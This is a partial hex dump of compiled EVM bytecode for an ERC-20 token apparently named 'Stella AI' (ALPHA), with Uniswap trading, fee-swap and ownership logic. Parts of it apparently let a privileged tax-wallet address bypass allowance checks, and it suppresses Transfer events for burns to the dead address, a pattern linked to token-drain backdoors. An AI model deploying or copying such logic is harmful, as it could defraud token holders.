ffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f67d02ab486cedc0000846040518363ffffffff1660e01b8152600401611b36929190612e1f565b5f60405180830381865afa158015611b50573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611b789190612f60565b905080600181518110611b8e57611b8d612d02565b5b60200260200101519250505090565b6001600c60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bd457611bd3612cd5565b5b604051908082528060200260200182016040528015611c025781602001602082028036833780820191505090505b50905030815f81518110611c1957611c18612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cbd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ce1919061266f565b81600181518110611cf557611cf4612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5b30600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dc0565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dbd959493929190612fa7565b5f604051808303815f87803b158015611dd4575f80fd5b505af1158015611de6573d5f803e3d5ffd5b50505050505f600c60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e6c573d5f803e3d5ffd5b5050565b5f611eb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611837565b905092915050565b5f808284611ec79190612fff565b905083811015611f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f039061307c565b60405180910390fd5b8091505092915050565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611fa0575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff9575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f8083118290612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e91906120d2565b60405180910390fd5b505f83856120559190612c17565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120a482612062565b6120ae818561206c565b93506120be81856020860161207c565b6120c78161208a565b840191505092915050565b5f6020820190508181035f8301526120ea818461209a565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61212c82612103565b9050919050565b61213c81612122565b8114612146575f80fd5b50565b5f8135905061215781612133565b92915050565b5f819050919050565b61216f8161215d565b8114612179575f80fd5b50565b5f8135905061218a81612166565b92915050565b5f80604083850312156121a6576121a56120fb565b5b5f6121b385828601612149565b92505060206121c48582860161217c565b9150509250929050565b5f8115159050919050565b6121e2816121ce565b82525050565b5f6020820190506121fb5f8301846121d9565b92915050565b61220a8161215d565b82525050565b5f6020820190506122235f830184612201565b92915050565b5f805f606084860312156122405761223f6120fb565b5b5f61224d86828701612149565b935050602061225e86828701612149565b925050604061226f8682870161217c565b9150509250925092565b5f60ff82169050919050565b61228e81612279565b82525050565b5f6020820190506122a75f830184612285565b92915050565b5f602082840312156122c2576122c16120fb565b5b5f6122cf84828501612149565b91505092915050565b6122e181612122565b82525050565b5f6020820190506122fa5f8301846122d8565b92915050565b5f8060408385031215612316576123156120fb565b5b5f61232385828601612149565b925050602061233485828601612149565b9150509250929050565b5f61234882612103565b9050919050565b6123588161233e565b8114612362575f80fd5b50565b5f813590506123738161234f565b92915050565b5f6020828403121561238e5761238d6120fb565b5b5f61239b84828501612365565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561242657808604811115612402576124016123a4565b5b60018516156124115780820291505b808102905061241f856123d1565b94506123e6565b94509492505050565b5f8261243e57600190506124f9565b8161244b575f90506124f9565b8160018114612461576002811461246b5761249a565b60019150506124f9565b60ff84111561247d5761247c6123a4565b5b8360020a915084821115612494576124936123a4565b5b506124f9565b5060208310610133831016604e8410600b84101617156124cf5782820a9050838111156124ca576124c96123a4565b5b6124f9565b6124dc84848460016123dd565b925090508184048111156124f3576124f26123a4565b5b81810290505b9392505050565b5f61250a8261215d565b915061251583612279565b92506125427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461242f565b905092915050565b5f6125548261215d565b915061255f8361215d565b925082820261256d8161215d565b91508282048414831517612584576125836123a4565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125bf60208361206c565b91506125ca8261258b565b602082019050919050565b5f6020820190508181035f8301526125ec816125b3565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61262760178361206c565b9150612632826125f3565b602082019050919050565b5f6020820190508181035f8301526126548161261b565b9050919050565b5f8151905061266981612133565b92915050565b5f60208284031215612684576126836120fb565b5b5f6126918482850161265b565b91505092915050565b5f6040820190506126ad5f8301856122d8565b6126ba60208301846122d8565b9392505050565b5f819050919050565b5f819050919050565b5f6126ed6126e86126e3846126c1565b6126ca565b61215d565b9050919050565b6126fd816126d3565b82525050565b5f60c0820190506127165f8301896122d8565b6127236020830188612201565b61273060408301876126f4565b61273d60608301866126f4565b61274a60808301856122d8565b61275760a0830184612201565b979650505050505050565b5f8151905061277081612166565b92915050565b5f805f6060848603121561278d5761278c6120fb565b5b5f61279a86828701612762565b93505060206127ab86828701612762565b92505060406127bc86828701612762565b9150509250925092565b5f6040820190506127d95f8301856122d8565b6127e66020830184612201565b9392505050565b6127f6816121ce565b8114612800575f80fd5b50565b5f81519050612811816127ed565b92915050565b5f6020828403121561282c5761282b6120fb565b5b5f61283984828501612803565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61289c60248361206c565b91506128a782612842565b604082019050919050565b5f6020820190508181035f8301526128c981612890565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61292a60228361206c565b9150612935826128d0565b604082019050919050565b5f6020820190508181035f8301526129578161291e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129b860258361206c565b91506129c38261295e565b604082019050919050565b5f6020820190508181035f8301526129e5816129ac565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612a4660238361206c565b9150612a51826129ec565b604082019050919050565b5f6020820190508181035f830152612a7381612a3a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ad460298361206c565b9150612adf82612a7a565b604082019050919050565b5f6020820190508181035f830152612b0181612ac8565b9050919050565b7f45524332303a206d61782073776170206c696d697400000000000000000000005f82015250565b5f612b3c60158361206c565b9150612b4782612b08565b602082019050919050565b5f6020820190508181035f830152612b6981612b30565b9050919050565b5f612b7a8261215d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612bac57612bab6123a4565b5b600182019050919050565b5f612bc18261215d565b9150612bcc8361215d565b9250828203905081811115612be457612be36123a4565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c218261215d565b9150612c2c8361215d565b925082612c3c57612c3b612bea565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ca160218361206c565b9150612cac82612c47565b604082019050919050565b5f6020820190508181035f830152612cce81612c95565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612d52612d4d612d4884612d2f565b6126ca565b61215d565b9050919050565b612d6281612d38565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612d9a81612122565b82525050565b5f612dab8383612d91565b60208301905092915050565b5f602082019050919050565b5f612dcd82612d68565b612dd78185612d72565b9350612de283612d82565b805f5b83811015612e12578151612df98882612da0565b9750612e0483612db7565b925050600181019050612de5565b5085935050505092915050565b5f604082019050612e325f830185612d59565b8181036020830152612e448184612dc3565b90509392505050565b5f80fd5b612e5a8261208a565b810181811067ffffffffffffffff82111715612e7957612e78612cd5565b5b80604052505050565b5f612e8b6120f2565b9050612e978282612e51565b919050565b5f67ffffffffffffffff821115612eb657612eb5612cd5565b5b602082029050602081019050919050565b5f80fd5b5f612edd612ed884612e9c565b612e82565b90508083825260208201905060208402830185811115612f0057612eff612ec7565b5b835b81811015612f295780612f158882612762565b845260208401935050602081019050612f02565b5050509392505050565b5f82601f830112612f4757612f46612e4d565b5b8151612f57848260208601612ecb565b91505092915050565b5f60208284031215612f7557612f746120fb565b5b5f82015167ffffffffffffffff811115612f9257612f916120ff565b5b612f9e84828501612f33565b91505092915050565b5f60a082019050612fba5f830188612201565b612fc760208301876126f4565b8181036040830152612fd98186612dc3565b9050612fe860608301856122d8565b612ff56080830184612201565b9695505050505050565b5f6130098261215d565b91506130148361215d565b925082820190508082111561302c5761302b6123a4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613066601b8361206c565b915061307182613032565b602082019050919050565b5f6020820190508181035f8301526130938161305a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018c9e40e8d8ac26d666ec03bdb32c252a8e8b62a03628a8354def86d9719fc4664736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100eb575f3560e01c806370a082311161008957806395d89b411161005857806395d89b41146102be578063a9059cbb146102e8578063dd62ed3e14610324578063ea414b2814610360576100f2565b806370a082311461022c578063715018a6146102685780638a8c523c1461027e5780638da5cb5b14610294576100f2565b806323b872dd116100c557806323b872dd14610186578063313ce567146101c257806334376f3b146101ec578063593b14e714610216576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b60405161011791906120d2565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190612190565b6103c5565b60405161015391906121e8565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190612210565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190612229565b610405565b6040516101b991906121e8565b60405180910390f35b3480156101cd575f80fd5b506101d6610464565b6040516101e39190612294565b60405180910390f35b3480156101f7575f80fd5b5061020061046c565b60405161020d9190612210565b60405180910390f35b348015610221575f80fd5b5061022a610472565b005b348015610237575f80fd5b50610252600480360381019061024d91906122ad565b61055e565b60405161025f9190612210565b60405180910390f35b348015610273575f80fd5b5061027c6105a4565b005b348015610289575f80fd5b506102926106f2565b005b34801561029f575f80fd5b506102a8610c14565b6040516102b591906122e7565b60405180910390f35b3480156102c9575f80fd5b506102d2610c3b565b6040516102df91906120d2565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190612190565b610c78565b60405161031b91906121e8565b60405180910390f35b34801561032f575f80fd5b5061034a60048036038101906103459190612300565b610c95565b6040516103579190612210565b60405180910390f35b34801561036b575f80fd5b5061038660048036038101906103819190612379565b610d17565b005b60606040518060400160405280600981526020017f5374656c6c612041490000000000000000000000000000000000000000000000815250905090565b5f6103d86103d1610db9565b8484610dc0565b6001905092915050565b5f6009600a6103f19190612500565b633b9aca00610400919061254a565b905090565b5f610411848484610f83565b6104598461041d610db9565b6104548560405180606001604052806028815260200161309b602891396104458a8a8a611795565b6118379092919063ffffffff16565b610dc0565b600190509392505050565b5f6009905090565b600a5481565b61047a610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd906125d5565b60405180910390fd5b5f4711610511575f80fd5b610519610db9565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561055b573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ac610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906125d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106fa610db9565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d906125d5565b60405180910390fd5b600c60149054906101000a900460ff16156107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd9061263d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087230600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61085e9190612500565b633b9aca0061086d919061254a565b610dc0565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610900919061266f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa919061266f565b6040518363ffffffff1660e01b81526004016109c792919061269a565b6020604051808303815f875af11580156109e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a07919061266f565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a8e3061055e565b5f80610a98610c14565b426040518863ffffffff1660e01b8152600401610aba96959493929190612703565b60606040518083038185885af1158015610ad6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610afb9190612776565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bd19291906127c6565b6020604051808303815f875af1158015610bed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c119190612817565b50565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f414c504841000000000000000000000000000000000000000000000000000000815250905090565b5f610c8b610c84610db9565b8484610f83565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d57610db9565b73ffffffffffffffffffffffffffffffffffffffff1614610d76575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e25906128b2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390612940565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f769190612210565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe8906129ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690612a5c565b60405180910390fd5b5f81116110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890612aea565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146114af576110dd610c14565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561114b575061111b610c14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561118357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111bb57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114ae57600c60159054906101000a900460ff16611213576112106064611202600754600954116111ef576005546111f3565b6006545b8561189990919063ffffffff16565b61191090919063ffffffff16565b90505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112bc5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561130f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611368575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113ce57611375611959565b82106113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90612b52565b60405180910390fd5b60095f8154809291906113c890612b70565b91905055505b5f6113d83061055e565b9050600c60159054906101000a900460ff161580156114435750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561145b5750600c60169054906101000a900460ff165b801561146a5750600854600954115b156114ac57600a548111156114955761149483600a541161148d57600a5461148f565b835b611b9d565b5b5f4790505f81106114aa576114a947611e08565b5b505b505b5b6114ff8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e7090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115a26115568284611e7090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156116e25761163b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d99190612210565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461178f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117798486611e7090919063ffffffff16565b6040516117869190612210565b60405180910390a35b50505050565b5f808290506117a48585611f16565b1561182c5760025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6117ef610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b809150509392505050565b5f83831115829061187e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187591906120d2565b60405180910390fd5b505f838561188c9190612bb7565b9050809150509392505050565b5f8083036118a9575f905061190a565b5f82846118b6919061254a565b90508284826118c59190612c17565b14611905576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fc90612cb7565b60405180910390fd5b809150505b92915050565b5f61195183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612001565b905092915050565b5f80600267ffffffffffffffff81111561197657611975612cd5565b5b6040519080825280602002602001820160405280156119a45781602001602082028036833780820191505090505b509050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a35919061266f565b815f81518110611a4857611a47612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a9757611a96612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f67d02ab486cedc0000846040518363ffffffff1660e01b8152600401611b36929190612e1f565b5f60405180830381865afa158015611b50573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611b789190612f60565b905080600181518110611b8e57611b8d612d02565b5b60200260200101519250505090565b6001600c60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611bd457611bd3612cd5565b5b604051908082528060200260200182016040528015611c025781602001602082028036833780820191505090505b50905030815f81518110611c1957611c18612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cbd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ce1919061266f565b81600181518110611cf557611cf4612d02565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5b30600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dc0565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dbd959493929190612fa7565b5f604051808303815f87803b158015611dd4575f80fd5b505af1158015611de6573d5f803e3d5ffd5b50505050505f600c60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e6c573d5f803e3d5ffd5b5050565b5f611eb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611837565b905092915050565b5f808284611ec79190612fff565b905083811015611f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f039061307c565b60405180910390fd5b8091505092915050565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611fa0575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff9575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f8083118290612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e91906120d2565b60405180910390fd5b505f83856120559190612c17565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120a482612062565b6120ae818561206c565b93506120be81856020860161207c565b6120c78161208a565b840191505092915050565b5f6020820190508181035f8301526120ea818461209a565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61212c82612103565b9050919050565b61213c81612122565b8114612146575f80fd5b50565b5f8135905061215781612133565b92915050565b5f819050919050565b61216f8161215d565b8114612179575f80fd5b50565b5f8135905061218a81612166565b92915050565b5f80604083850312156121a6576121a56120fb565b5b5f6121b385828601612149565b92505060206121c48582860161217c565b9150509250929050565b5f8115159050919050565b6121e2816121ce565b82525050565b5f6020820190506121fb5f8301846121d9565b92915050565b61220a8161215d565b82525050565b5f6020820190506122235f830184612201565b92915050565b5f805f606084860312156122405761223f6120fb565b5b5f61224d86828701612149565b935050602061225e86828701612149565b925050604061226f8682870161217c565b9150509250925092565b5f60ff82169050919050565b61228e81612279565b82525050565b5f6020820190506122a75f830184612285565b92915050565b5f602082840312156122c2576122c16120fb565b5b5f6122cf84828501612149565b91505092915050565b6122e181612122565b82525050565b5f6020820190506122fa5f8301846122d8565b92915050565b5f8060408385031215612316576123156120fb565b5b5f61232385828601612149565b925050602061233485828601612149565b9150509250929050565b5f61234882612103565b9050919050565b6123588161233e565b8114612362575f80fd5b50565b5f813590506123738161234f565b92915050565b5f6020828403121561238e5761238d6120fb565b5b5f61239b84828501612365565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561242657808604811115612402576124016123a4565b5b60018516156124115780820291505b808102905061241f856123d1565b94506123e6565b94509492505050565b5f8261243e57600190506124f9565b8161244b575f90506124f9565b8160018114612461576002811461246b5761249a565b60019150506124f9565b60ff84111561247d5761247c6123a4565b5b8360020a915084821115612494576124936123a4565b5b506124f9565b5060208310610133831016604e8410600b84101617156124cf5782820a9050838111156124ca576124c96123a4565b5b6124f9565b6124dc84848460016123dd565b925090508184048111156124f3576124f26123a4565b5b81810290505b9392505050565b5f61250a8261215d565b915061251583612279565b92506125427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461242f565b905092915050565b5f6125548261215d565b915061255f8361215d565b925082820261256d8161215d565b91508282048414831517612584576125836123a4565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125bf60208361206c565b91506125ca8261258b565b602082019050919050565b5f6020820190508181035f8301526125ec816125b3565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61262760178361206c565b9150612632826125f3565b602082019050919050565b5f6020820190508181035f8301526126548161261b565b9050919050565b5f8151905061266981612133565b92915050565b5f60208284031215612684576126836120fb565b5b5f6126918482850161265b565b91505092915050565b5f6040820190506126ad5f8301856122d8565b6126ba60208301846122d8565b9392505050565b5f819050919050565b5f819050919050565b5f6126ed6126e86126e3846126c1565b6126ca565b61215d565b9050919050565b6126fd816126d3565b82525050565b5f60c0820190506127165f8301896122d8565b6127236020830188612201565b61273060408301876126f4565b61273d60608301866126f4565b61274a60808301856122d8565b61275760a0830184612201565b979650505050505050565b5f8151905061277081612166565b92915050565b5f805f6060848603121561278d5761278c6120fb565b5b5f61279a86828701612762565b93505060206127ab86828701612762565b92505060406127bc86828701612762565b9150509250925092565b5f6040820190506127d95f8301856122d8565b6127e66020830184612201565b9392505050565b6127f6816121ce565b8114612800575f80fd5b50565b5f81519050612811816127ed565b92915050565b5f6020828403121561282c5761282b6120fb565b5b5f61283984828501612803565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8